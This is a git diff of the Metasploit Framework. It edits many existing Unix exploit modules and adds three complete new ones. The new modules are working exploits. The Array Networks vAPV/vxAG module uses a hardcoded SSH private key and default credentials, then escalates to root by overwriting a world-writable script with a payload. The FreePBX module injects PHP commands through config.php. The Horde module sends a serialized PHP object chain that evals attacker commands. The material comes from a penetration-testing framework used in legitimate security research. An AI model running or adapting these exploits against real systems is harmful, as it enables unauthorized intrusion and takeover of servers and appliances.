diff --git a/modules/exploits/unix/smtp/exim4_string_format.rb b/modules/exploits/unix/smtp/exim4_string_format.rb
index 9b66eeff65..5f9645050b 100644
--- a/modules/exploits/unix/smtp/exim4_string_format.rb
+++ b/modules/exploits/unix/smtp/exim4_string_format.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Exim4 <= 4.69 string_format Function Heap Buffer Overflow',
+      'Name'           => 'Exim4 string_format Function Heap Buffer Overflow',
       'Description'    => %q{
           This module exploits a heap buffer overflow within versions of Exim prior to
         version 4.69. By sending a specially crafted message, an attacker can corrupt the
diff --git a/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb b/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb
new file mode 100644
index 0000000000..7d24cb6064
--- /dev/null
+++ b/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb
@@ -0,0 +1,197 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'net/ssh'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::EXE
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "Array Networks vAPV and vxAG Private Key Privilege Escalation Code Execution",
+      'Description'    => %q{
+        This module exploits a default hardcoded private SSH key or default hardcoded
+        login and password in the vAPV 8.3.2.17 and vxAG 9.2.0.34 appliances made
+        by Array Networks. After logged in as the unprivileged user, it's possible to modify
+        the world-writable file /ca/bin/monitor.sh with attacker-supplied arbitrary code.
+        Execution is possible by using the backend tool, running setuid, to turn the debug
+        monitoring on. This makes it possible to trigger a payload with root privileges.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'xistence <xistence[at]0x90.nl>',  # Original discovery and Metasploit module
+        ],
+      'References'     =>
+        [
+          ['OSVDB', '104652'],
+          ['OSVDB', '104653'],
+          ['OSVDB', '104654'],
+          ['URL', 'http://packetstormsecurity.com/files/125761/Array-Networks-vxAG-xAPV-Privilege-Escalation.html']
+        ],
+      'DefaultOptions'  =>
+        {
+          'ExitFunction' => "none"
+        },
+      'Platform'       => 'unix',
+      'Arch'           => ARCH_CMD,
+      'Payload'        =>
+        {
+          'Compat' =>
+            {
+              'PayloadType' => 'cmd',
+              'RequiredCmd' => 'generic telnet',
+            }
+        },
+      'Targets'        =>
+        [
+          ['vAPV 8.3.2.17 / vxAG 9.2.0.34', {}],
+        ],
+      'Privileged'     => true,
+      'DisclosureDate' => "Feb 03 2014",
+      'DefaultTarget'  => 0))
+
+    register_options(
+      [
+        Opt::RHOST(),
+        Opt::RPORT(22),
+        OptBool.new('SSHKEY', [ true, 'Use SSH key instead of password', true]),
+        OptString.new('USER', [ true, 'vAPV/vxAG SSH user', 'sync']),
+        OptString.new('PASS', [ true, 'vAPV/vxAG SSH password', 'click1'])
+      ], self.class
+    )
+
+    register_advanced_options(
+      [
+        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
+        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
+      ]
+    )
+  end
+
+  def rhost
+    datastore['RHOST']
+  end
+
+  def rport
+    datastore['RPORT']
+  end
+
+  def login_key(user)
+    print_status("#{rhost}:#{rport} - Attempt to login with '#{user}:SSH PRIVATE KEY'")
+
+    key_data = "-----BEGIN DSA PRIVATE KEY-----\n"
+    key_data += "MIIBugIBAAKBgQCUw7F/vKJT2Xsq+fIPVxNC/Dyk+dN9DWQT5RO56eIQasd+h6Fm\n"
+    key_data += "q1qtQrJ/DOe3VjfUrSm7NN5NoIGOrGCSuQFthFmq+9Lpt6WIykB4mau5iE5orbKM\n"
+    key_data += "xTfyu8LtntoikYKrlMB+UrmKDidvZ+7oWiC14imT+Px/3Q7naj0UmOrSTwIVAO25\n"
+    key_data += "Yf3SYNtTYv8yzaV+X9yNr/AfAoGADAcEh2bdsrDhwhXtVi1L3cFQx1KpN0B07JLr\n"
+    key_data += "gJzJcDLUrwmlMUmrXR2obDGfVQh46EFMeo/k3IESw2zJUS58FJW+sKZ4noSwRZPq\n"
+    key_data += "mpBnERKpLOTcWMxUyV8ETsz+9oz71YEMjmR1qvNYAopXf5Yy+4Zq3bgqmMMQyM+K\n"
+    key_data += "O1PdlCkCgYBmhSl9CVPgVMv1xO8DAHVhM1huIIK8mNFrzMJz+JXzBx81ms1kWSeQ\n"
+    key_data += "OC/nraaXFTBlqiQsvB8tzr4xZdbaI/QzVLKNAF5C8BJ4ScNlTIx1aZJwyMil8Nzb\n"
+    key_data += "+0YAsw5Ja+bEZZvEVlAYnd10qRWrPeEY1txLMmX3wDa+JvJL7fmuBgIUZoXsJnzs\n"
+    key_data += "+sqSEhA35Le2kC4Y1/A=\n"
+    key_data += "-----END DSA PRIVATE KEY-----\n"
+
+    opts = {
+      #:auth_methods => ['password', 'keyboard-interactive'],
+      :auth_methods => ['publickey'],
+      :msframework  => framework,
+      :msfmodule    => self,
+      :port         => rport,
+      :disable_agent => true,
+      :config => true,
+      :key_data     => key_data,
+      #:password => pass,
+      :record_auth_info => true,
+      :proxies => datastore['Proxies']
+    }
+
+    opts
+  end
+
+  def login_user_pass(user, pass)
+    print_status("#{rhost}:#{rport} - Attempting to login with '#{user}:#{pass}'")
+
+    opts = {
+      :auth_methods => ['password', 'keyboard-interactive'],
+      :msframework  => framework,
+      :msfmodule    => self,
+      :port         => rport,
+      :disable_agent => true,
+      :config => true,
+      :password => pass,
+      :record_auth_info => true,
+      :proxies => datastore['Proxies']
+    }
+
+    opts
+  end
+
+  def build_command
+    mon_temp = rand_text_alphanumeric(10)
+    cmd = Rex::Text.encode_base64("nohup " + payload.encoded)
+    # Turn debug monitoring off, just in case it's turned on
+    command = '/ca/bin/backend -c "debug monitor off"`echo -e "\0374"`;'
+    # Copy the data from monitor.sh to a random tmp file
+    command += "cat /ca/bin/monitor.sh > /tmp/#{mon_temp};"
+    # Insert our base64 encoded payload in to the world writable /ca/bin/monitor.sh file
+    command += "/usr/bin/perl -MMIME::Base64 -le 'print decode_base64(\"#{cmd}\")' > /ca/bin/monitor.sh;"
+    # Turn debug monitoring on, which will start the monitor.sh and thus our payload
+    command += '/ca/bin/backend -c "debug monitor on"`echo -e "\0374"`;'
+    # Copy monitor.sh data back
+    command += "cat /tmp/#{mon_temp} > /ca/bin/monitor.sh"
+
+    command
+  end
+
+
+  #def execute_command(cmd, opts)
+  def exploit
+    user = datastore['USER']
+    pass = datastore['PASS']
+
+    if datastore['SSHKEY']
+      opts = login_key(user)
+    else
+      opts = login_user_pass(user, pass)
+    end
+
+    opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
+
+    begin
+      ssh = nil
+      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
+        ssh = Net::SSH.start(rhost, user, opts)
+      end
+    rescue Rex::ConnectionError, Rex::AddressInUse
+      fail_with(Failure::Unreachable, "#{rhost}:#{rport} SSH - Connection error or address in use")
+    rescue Net::SSH::Disconnect, ::EOFError
+      fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation")
+    rescue ::Timeout::Error
+      fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")
+    rescue Net::SSH::AuthenticationFailed
+      fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Failed authentication")
+    rescue Net::SSH::Exception => e
+      fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}")
+    end
+
+    fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH session couldn't be established") unless ssh
+
+    if datastore['SSHKEY']
+      print_good("#{rhost}:#{rport} - Login Successful with '#{user}:SSH PRIVATE KEY'")
+    else
+      print_good("#{rhost}:#{rport} - Login Successful with '#{user}:#{pass}'")
+    end
+
+    # Make the SSH connection and execute our commands + payload
+    print_status("#{rhost}:#{rport} - Sending and executing payload to gain root privileges!")
+    Net::SSH::CommandStream.new(ssh, build_command, true)
+  end
+
+end
diff --git a/modules/exploits/unix/ssh/tectia_passwd_changereq.rb b/modules/exploits/unix/ssh/tectia_passwd_changereq.rb
index 63d47f8458..f0d80253af 100644
--- a/modules/exploits/unix/ssh/tectia_passwd_changereq.rb
+++ b/modules/exploits/unix/ssh/tectia_passwd_changereq.rb
@@ -70,7 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote
   def check
     connect
     banner = sock.get_once.strip
-    print_status("#{rhost}:#{rport} - Banner: #{banner}")
+    vprint_status("#{rhost}:#{rport} - Banner: #{banner}")
     disconnect
 
     # Vulnerable version info obtained from CVE
diff --git a/modules/exploits/unix/webapp/arkeia_upload_exec.rb b/modules/exploits/unix/webapp/arkeia_upload_exec.rb
index 7529d55850..1d4cf75356 100644
--- a/modules/exploits/unix/webapp/arkeia_upload_exec.rb
+++ b/modules/exploits/unix/webapp/arkeia_upload_exec.rb
@@ -69,14 +69,14 @@ class Metasploit3 < Msf::Exploit::Remote
       return Exploit::CheckCode::Unknown
     end
 
-    print_status("#{peer} - Version #{version} detected")
+    vprint_status("#{peer} - Version #{version} detected")
 
     if version > "10.0.10"
       return Exploit::CheckCode::Safe
     end
 
     # Check for vulnerable component
-    print_status("#{peer} - Trying to detect the vulnerable component")
+    vprint_status("#{peer} - Trying to detect the vulnerable component")
 
     res = send_request_cgi({
       'method' => 'GET',
@@ -85,7 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote
     })
 
     if res and res.code == 200 and res.body =~ /Les versions brutes des messages est affichee ci-dessous/
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
 
     return Exploit::CheckCode::Safe
diff --git a/modules/exploits/unix/webapp/awstatstotals_multisort.rb b/modules/exploits/unix/webapp/awstatstotals_multisort.rb
index 95e5ce846d..8629c6f449 100644
--- a/modules/exploits/unix/webapp/awstatstotals_multisort.rb
+++ b/modules/exploits/unix/webapp/awstatstotals_multisort.rb
@@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'AWStats Totals <= v1.14 multisort Remote Command Execution',
+      'Name'           => 'AWStats Totals multisort Remote Command Execution',
       'Description'    => %q{
           This module exploits an arbitrary command execution vulnerability in the
           AWStats Totals PHP script. AWStats Totals version v1.0 - v1.14 are vulnerable.
diff --git a/modules/exploits/unix/webapp/cakephp_cache_corruption.rb b/modules/exploits/unix/webapp/cakephp_cache_corruption.rb
index 5a0785ea83..ef508e2b2b 100644
--- a/modules/exploits/unix/webapp/cakephp_cache_corruption.rb
+++ b/modules/exploits/unix/webapp/cakephp_cache_corruption.rb
@@ -12,12 +12,13 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'CakePHP <= 1.3.5 / 1.2.8 Cache Corruption Code Execution',
+      'Name'           => 'CakePHP Cache Corruption Code Execution',
       'Description'    => %q{
-          CakePHP is a popular PHP framework for building web applications.
-        The Security component of CakePHP is vulnerable to an unserialize attack which
-        could be abused to allow unauthenticated attackers to execute arbitrary
-        code with the permissions of the webserver.
+        CakePHP is a popular PHP framework for building web applications.  The
+        Security component of CakePHP versions 1.3.5 and earlier and 1.2.8 and
+        earlier is vulnerable to an unserialize attack which could be abused to
+        allow unauthenticated attackers to execute arbitrary code with the
+        permissions of the webserver.
       },
       'Author'	=>
         [
diff --git a/modules/exploits/unix/webapp/clipbucket_upload_exec.rb b/modules/exploits/unix/webapp/clipbucket_upload_exec.rb
index 435677d479..0ac6810817 100644
--- a/modules/exploits/unix/webapp/clipbucket_upload_exec.rb
+++ b/modules/exploits/unix/webapp/clipbucket_upload_exec.rb
@@ -54,7 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote
     # Check version
     peer = "#{rhost}:#{rport}"
 
-    print_status("#{peer} - Trying to detect installed version")
+    vprint_status("#{peer} - Trying to detect installed version")
 
     res = send_request_cgi({
      'method' => 'GET',
@@ -67,12 +67,12 @@ class Metasploit3 < Msf::Exploit::Remote
       return Exploit::CheckCode::Unknown
     end
 
-    print_status("#{peer} - Version #{version} detected")
+    vprint_status("#{peer} - Version #{version} detected")
 
     if version > "2.6"
       return Exploit::CheckCode::Safe
     else
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
 
     return Exploit::CheckCode::Safe
diff --git a/modules/exploits/unix/webapp/coppermine_piceditor.rb b/modules/exploits/unix/webapp/coppermine_piceditor.rb
index 929f0f23c4..0d64532074 100644
--- a/modules/exploits/unix/webapp/coppermine_piceditor.rb
+++ b/modules/exploits/unix/webapp/coppermine_piceditor.rb
@@ -14,15 +14,16 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Coppermine Photo Gallery <= 1.4.14 picEditor.php Command Execution',
+      'Name'           => 'Coppermine Photo Gallery picEditor.php Command Execution',
       'Description'    => %q{
-          This module exploits a vulnerability in the picEditor.php script of Coppermine
-        Photo Gallery. When configured to use the ImageMagick library, the 'quality', 'angle',
-        and 'clipval' parameters are not properly escaped before being passed to the PHP
+        This module exploits a vulnerability in the picEditor.php script of
+        Coppermine Photo Gallery versions 1.4.14 and earlier. When configured to
+        use the ImageMagick library, the 'quality', 'angle', and 'clipval'
+        parameters are not properly escaped before being passed to the PHP
         'exec' command.
 
-        In order to reach the vulnerable 'exec' call, the input must pass several validation
-        steps.
+        In order to reach the vulnerable 'exec' call, the input must pass
+        several validation steps.
 
         The vulnerabilities actually reside in the following functions:
 
@@ -32,8 +33,8 @@ class Metasploit3 < Msf::Exploit::Remote
         include/imageObjectIM.class.php: imageObject::resizeImage(...)
         include/picmgmt.inc.php: resize_image(...)
 
-        NOTE: Use of the ImageMagick library is a non-default option. However, a user can
-        specify its use at installation time.
+        NOTE: Use of the ImageMagick library is a non-default option. However, a
+        user can specify its use at installation time.
       },
       'Author'         =>
         [
@@ -73,7 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote
     }, 25)
 
     if (res and res.body =~ /Coppermine Picture Editor/i)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
 
     return Exploit::CheckCode::Safe
diff --git a/modules/exploits/unix/webapp/egallery_upload_exec.rb b/modules/exploits/unix/webapp/egallery_upload_exec.rb
index e21e9f9294..da7be29e11 100644
--- a/modules/exploits/unix/webapp/egallery_upload_exec.rb
+++ b/modules/exploits/unix/webapp/egallery_upload_exec.rb
@@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote
     })
 
     if res and res.code == 200 and res.body.empty?
-      return Exploit::CheckCode::Detected
+      return Exploit::CheckCode::Appears
     else
       return Exploit::CheckCode::Safe
     end
diff --git a/modules/exploits/unix/webapp/flashchat_upload_exec.rb b/modules/exploits/unix/webapp/flashchat_upload_exec.rb
index 08e9f91c85..d0cd58604a 100644
--- a/modules/exploits/unix/webapp/flashchat_upload_exec.rb
+++ b/modules/exploits/unix/webapp/flashchat_upload_exec.rb
@@ -61,7 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote
     res = send_request_raw({'uri' => uri})
 
     if not res
-      print_error("#{peer} - Connection timed out")
+      vprint_error("#{peer} - Connection timed out")
       return Exploit::CheckCode::Unknown
     end
 
@@ -71,10 +71,10 @@ class Metasploit3 < Msf::Exploit::Remote
       return Exploit::CheckCode::Unknown
     end
 
-    print_status("#{peer} - Version found: #{version}")
+    vprint_status("#{peer} - Version found: #{version}")
 
     if version =~ /6\.0\.(2|4|5|6|7|8)/
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     elsif version <= "6.0.8"
       return Exploit::CheckCode::Detected
     else
@@ -93,7 +93,7 @@ class Metasploit3 < Msf::Exploit::Remote
     php   = "<?php #{payload.encoded} ?>"
     data = Rex::MIME::Message.new
     data.add_part(php, "application/octet-stream", nil, "form-data; name=\"file\"; filename=\"#{fname}\"")
-    post_data = data.to_s.gsub(/^\r\n--_Part_/, '--_Part_')
+    post_data = data.to_s
 
     res = send_request_cgi({
       'method' => 'POST',
diff --git a/modules/exploits/unix/webapp/foswiki_maketext.rb b/modules/exploits/unix/webapp/foswiki_maketext.rb
index 2c62df9b48..a5b410086f 100644
--- a/modules/exploits/unix/webapp/foswiki_maketext.rb
+++ b/modules/exploits/unix/webapp/foswiki_maketext.rb
@@ -164,11 +164,11 @@ class Metasploit3 < Msf::Exploit::Remote
       if version <= "1.1.6"
         return Exploit::CheckCode::Appears
       else
-        return Exploit::CheckCode::Safe
+        return Exploit::CheckCode::Detected
       end
     end
 
-    return Exploit::CheckCode::Detected
+    return Exploit::CheckCode::Safe
   end
 
 
diff --git a/modules/exploits/unix/webapp/freepbx_config_exec.rb b/modules/exploits/unix/webapp/freepbx_config_exec.rb
new file mode 100644
index 0000000000..6e105f510b
--- /dev/null
+++ b/modules/exploits/unix/webapp/freepbx_config_exec.rb
@@ -0,0 +1,103 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "FreePBX config.php Remote Code Execution",
+      'Description'    => %q{
+        This module exploits a vulnerability found in FreePBX version 2.9, 2.10, and 2.11.
+        It's possible to inject arbitrary PHP functions and commands in the "/admin/config.php"
+        parameters "function" and "args".
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'i-Hmx', # Vulnerability discovery
+          '0x00string', # PoC
+          'xistence <xistence[at]0x90.nl>' # Metasploit module
+        ],
+      'References'     =>
+        [
+          ['CVE', '2014-1903'],
+          ['OSVDB', '103240'],
+          ['EDB', '32214'],
+          ['URL', 'http://issues.freepbx.org/browse/FREEPBX-7123']
+        ],
+      'Platform'       => 'unix',
+      'Arch'           => ARCH_CMD,
+      'Targets'        =>
+        [
+          ['FreePBX', {}]
+        ],
+      'Privileged'     => false,
+      'DisclosureDate' => "Mar 21 2014",
+      'DefaultTarget'  => 0))
+
+      register_options(
+        [
+          OptString.new('TARGETURI', [true, 'The base path to the FreePBX installation', '/'])
+        ], self.class)
+
+      register_advanced_options(
+        [
+          OptString.new('PHPFUNC', [true, 'The PHP execution function to use', 'passthru'])
+        ], self.class)
+  end
+
+
+  def check
+    vprint_status("#{peer} - Trying to detect installed version")
+
+    res = send_request_cgi({
+      'method' => 'GET',
+      'uri'    => normalize_uri(target_uri.path, "admin", "CHANGES")
+    })
+
+    if res and res.code == 200 and res.body =~ /^(.*)$/
+      version = $1
+    else
+      return Exploit::CheckCode::Unknown
+    end
+
+    vprint_status("#{peer} - Version #{version} detected")
+
+    if version =~ /2\.(9|10|11)\.0/
+      return Exploit::CheckCode::Appears
+    else
+      return Exploit::CheckCode::Safe
+    end
+  end
+
+  def exploit
+    rand_data = rand_text_alpha_lower(rand(10) + 5)
+
+    print_status("#{peer} - Sending payload")
+    res = send_request_cgi({
+      'method' => 'GET',
+      'uri'    => normalize_uri(target_uri.path, "admin", "config.php"),
+      'vars_get' => {
+        "display" => rand_data,
+        "handler" => "api",
+        "function" => datastore['PHPFUNC'],
+        "args" => payload.encoded
+      }
+    })
+
+    # If we don't get a 200 when we request our malicious payload, we suspect
+    # we don't have a shell, either.
+    if res and res.code != 200
+      print_error("#{peer} - Unexpected response, exploit probably failed!")
+    end
+
+  end
+
+end
diff --git a/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb b/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb
index 246d170d5a..16e14a3c94 100644
--- a/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb
+++ b/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb
@@ -73,15 +73,14 @@ class Metasploit3 < Msf::Exploit::Remote
     }, 10)
 
     if (res and res.body =~ /cannot be resolved to an ip address/)
-      print_status("This system appears to be vulnerable")
-      return Exploit::CheckCode::Vulnerable
+      vprint_status("This system appears to be vulnerable")
+      return Exploit::CheckCode::Appears
     end
 
     if (res and res.body =~ /ERROR: Unable to fetch the stylesheet/)
-      print_status("This system appears to be patched")
+      vprint_status("This system appears to be patched")
     end
 
-    print_status("This system is not exploitable")
     return Exploit::CheckCode::Safe
   end
 
diff --git a/modules/exploits/unix/webapp/hastymail_exec.rb b/modules/exploits/unix/webapp/hastymail_exec.rb
index ce2340c4be..ae6cfbfe69 100644
--- a/modules/exploits/unix/webapp/hastymail_exec.rb
+++ b/modules/exploits/unix/webapp/hastymail_exec.rb
@@ -68,7 +68,7 @@ class Metasploit3 < Msf::Exploit::Remote
     login
 
     if not @session_id or @session_id.empty?
-      print_error "#{peer} - Authentication failed"
+      vprint_error "#{peer} - Authentication failed"
       return Exploit::CheckCode::Unknown
     end
 
diff --git a/modules/exploits/unix/webapp/havalite_upload_exec.rb b/modules/exploits/unix/webapp/havalite_upload_exec.rb
index 59f4fc4945..1d13b0c83f 100644
--- a/modules/exploits/unix/webapp/havalite_upload_exec.rb
+++ b/modules/exploits/unix/webapp/havalite_upload_exec.rb
@@ -61,7 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote
     res = send_request_raw({'uri' => uri})
 
     if not res
-      print_error("#{peer} - Connection timed out")
+      vprint_error("#{peer} - Connection timed out")
       return Exploit::CheckCode::Unknown
     end
 
@@ -69,11 +69,11 @@ class Metasploit3 < Msf::Exploit::Remote
     version = js_src.scan(/var myVersion = '(.+)';/).flatten[0] || ''
 
     if not version.empty? and version =~ /1\.1\.7/
-      print_status("#{peer} - Version found: #{version}")
-      return Exploit::CheckCode::Vulnerable
+      vprint_status("#{peer} - Version found: #{version}")
+      return Exploit::CheckCode::Appears
     end
 
-    Exploit::CheckCode::Unknown
+    Exploit::CheckCode::Safe
   end
 
 
@@ -86,7 +86,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
     data = Rex::MIME::Message.new
     data.add_part(p, "application/octet-stream", nil, "form-data; name=\"files[]\"; filename=\"#{fname}\"")
-    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
+    post_data = data.to_s
 
     res = send_request_cgi({
       'method' => 'POST',
diff --git a/modules/exploits/unix/webapp/horde_unserialize_exec.rb b/modules/exploits/unix/webapp/horde_unserialize_exec.rb
new file mode 100644
index 0000000000..90a1877755
--- /dev/null
+++ b/modules/exploits/unix/webapp/horde_unserialize_exec.rb
@@ -0,0 +1,144 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Horde Framework Unserialize PHP Code Execution',
+      'Description'    => %q{
+        This module exploits a php unserialize() vulnerability in Horde <= 5.1.1 which could be
+        abused to allow unauthenticated users to execute arbitrary code with the permissions of
+        the web server. The dangerous unserialize() exists in the 'lib/Horde/Variables.php' file.
+        The exploit abuses the __destruct() method from the Horde_Kolab_Server_Decorator_Clean
+        class to reach a dangerous call_user_func() call in the Horde_Prefs class.
+      },
+      'Author'         =>
+        [
+          'EgiX', # Exploitation technique and Vulnerability discovery (originally reported by the vendor)
+          'juan vazquez' # Metasploit module
+        ],
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+          [ 'CVE', '2014-1691' ],
+          [ 'URL', 'http://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection' ],
+          [ 'URL', 'https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=737149' ],
+          [ 'URL', 'https://github.com/horde/horde/commit/da6afc7e9f4e290f782eca9dbca794f772caccb3' ]
+        ],
+      'Privileged'     => false,
+      'Platform'       => ['php'],
+      'Arch'           => ARCH_PHP,
+      'Payload'        =>
+        {
+          'DisableNops' => true
+        },
+      'Targets'        => [ ['Horde 5', { }], ],
+      'DefaultTarget'  => 0,
+      'DisclosureDate' => 'Jun 27 2013'
+      ))
+
+      register_options(
+        [
+          OptString.new('TARGETURI', [ true, "The base path to Horde", "/horde/"])
+        ], self.class)
+  end
+
+  def check
+    flag = rand_text_alpha(rand(10)+20)
+    res = send_request_exploit("print #{flag};die;")
+    if res and res.body and res.body.to_s =~ /#{flag}/
+      return Exploit::CheckCode::Vulnerable
+    end
+    return Exploit::CheckCode::Safe
+  end
+
+  def exploit
+    print_status("#{peer} - Testing injection...")
+    unless check == Exploit::CheckCode::Vulnerable
+      fail_with(Failure::NotVulnerable, "#{peer} - Target isn't vulnerable, exiting...")
+    end
+
+    print_status("#{peer} - Exploiting the unserialize()...")
+    send_request_exploit(payload.encoded)
+  end
+
+  def send_request_exploit(p)
+    php_injection = "eval(base64_decode($_SERVER[HTTP_CMD]));die();"
+
+    payload_serialized = "O:34:\"Horde_Kolab_Server_Decorator_Clean\":2:{s:43:\"\x00Horde_Kolab_Server_Decorator_Clean\x00_server\";"
+    payload_serialized << "O:20:\"Horde_Prefs_Identity\":2:{s:9:\"\x00*\x00_prefs\";O:11:\"Horde_Prefs\":2:{s:8:\"\x00*\x00_opts\";a:1:{s:12:\"sizecallback\";"
+    payload_serialized << "a:2:{i:0;O:12:\"Horde_Config\":1:{s:13:\"\x00*\x00_oldConfig\";s:#{php_injection.length}:\"#{php_injection}\";}i:1;s:13:\"readXMLConfig\";}}"
+    payload_serialized << "s:10:\"\x00*\x00_scopes\";a:1:{s:5:\"horde\";O:17:\"Horde_Prefs_Scope\":1:{s:9:\"\x00*\x00_prefs\";a:1:{i:0;i:1;}}}}"
+    payload_serialized << "s:13:\"\x00*\x00_prefnames\";a:1:{s:10:\"identities\";i:0;}}s:42:\"\x00Horde_Kolab_Server_Decorator_Clean\x00_added\";a:1:{i:0;i:1;}}"
+
+    send_request_cgi(
+      {
+        'uri'       => normalize_uri(target_uri.path.to_s, "login.php"),
+        'method'    => 'POST',
+        'vars_post' => {
+          '_formvars' => payload_serialized
+        },
+        'headers' => {
+          'Cmd' => Rex::Text.encode_base64(p)
+        }
+      })
+  end
+end
+
+=begin
+
+PHP chain by EgiX: http://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection
+
+class Horde_Config
+{
+   protected $_oldConfig = "phpinfo();die;";
+}
+
+class Horde_Prefs_Scope
+{
+   protected $_prefs = array(1);
+}
+
+class Horde_Prefs
+{
+   protected $_opts, $_scopes;
+
+   function __construct()
+   {
+      $this->_opts['sizecallback'] = array(new Horde_Config, 'readXMLConfig');
+      $this->_scopes['horde'] = new Horde_Prefs_Scope;
+   }
+}
+
+class Horde_Prefs_Identity
+{
+   protected $_prefs, $_prefnames;
+
+   function __construct()
+   {
+      $this->_prefs = new Horde_Prefs;
+      $this->_prefnames['identities'] = 0;
+   }
+}
+
+class Horde_Kolab_Server_Decorator_Clean
+{
+   private $_server, $_added = array(1);
+
+   function __construct()
+   {
+      $this->_server = new Horde_Prefs_Identity;
+   }
+}
+
+$popchain = serialize(new Horde_Kolab_Server_Decorator_Clean);
+
+=end
\ No newline at end of file
diff --git a/modules/exploits/unix/webapp/instantcms_exec.rb b/modules/exploits/unix/webapp/instantcms_exec.rb
index 6eca2fc931..570fb63323 100644
--- a/modules/exploits/unix/webapp/instantcms_exec.rb
+++ b/modules/exploits/unix/webapp/instantcms_exec.rb
@@ -52,18 +52,11 @@ class Metasploit3 < Msf::Exploit::Remote
       }
     })
 
-    if res
-      if res.body.match(/Build Date/)
-        return Exploit::CheckCode::Vulnerable
-      else
-        return Exploit::CheckCode::Safe
-      end
-    else
-      return Exploit::CheckCode::Unknown
+    if res and res.body.match(/Build Date/)
+      return Exploit::CheckCode::Vulnerable
     end
 
-  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
-    return Exploit::CheckCode::Unknown
+    Exploit::CheckCode::Safe
   end
 
   def exploit
diff --git a/modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb b/modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb
index d4aa24d0ab..8be862ed3b 100644
--- a/modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb
+++ b/modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb
@@ -86,7 +86,7 @@ class Metasploit3 < Msf::Exploit::Remote
     version = ( get_version || '').to_s
 
     if (version.match(%r{1\.5\.7\.1[0-4]?}))
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
 
     return Exploit::CheckCode::Safe
diff --git a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb
index e24b7604ed..9645358c82 100644
--- a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb
+++ b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb
@@ -70,10 +70,10 @@ class Metasploit3 < Msf::Exploit::Remote
 
     if res and (res.code == 200 or res.code == 302)
       if res.body =~ /You are not authorised to view this resource/
-        print_status("#{peer} - Joomla Media Manager Found but authentication required")
+        vprint_status("#{peer} - Joomla Media Manager Found but authentication required")
         return Exploit::CheckCode::Detected
       elsif res.body =~ /<form action="(.*)" id="uploadForm"/
-        print_status("#{peer} - Joomla Media Manager Found and authentication isn't required")
+        vprint_status("#{peer} - Joomla Media Manager Found and authentication isn't required")
         return Exploit::CheckCode::Detected
       end
     end
@@ -90,7 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
     data = Rex::MIME::Message.new
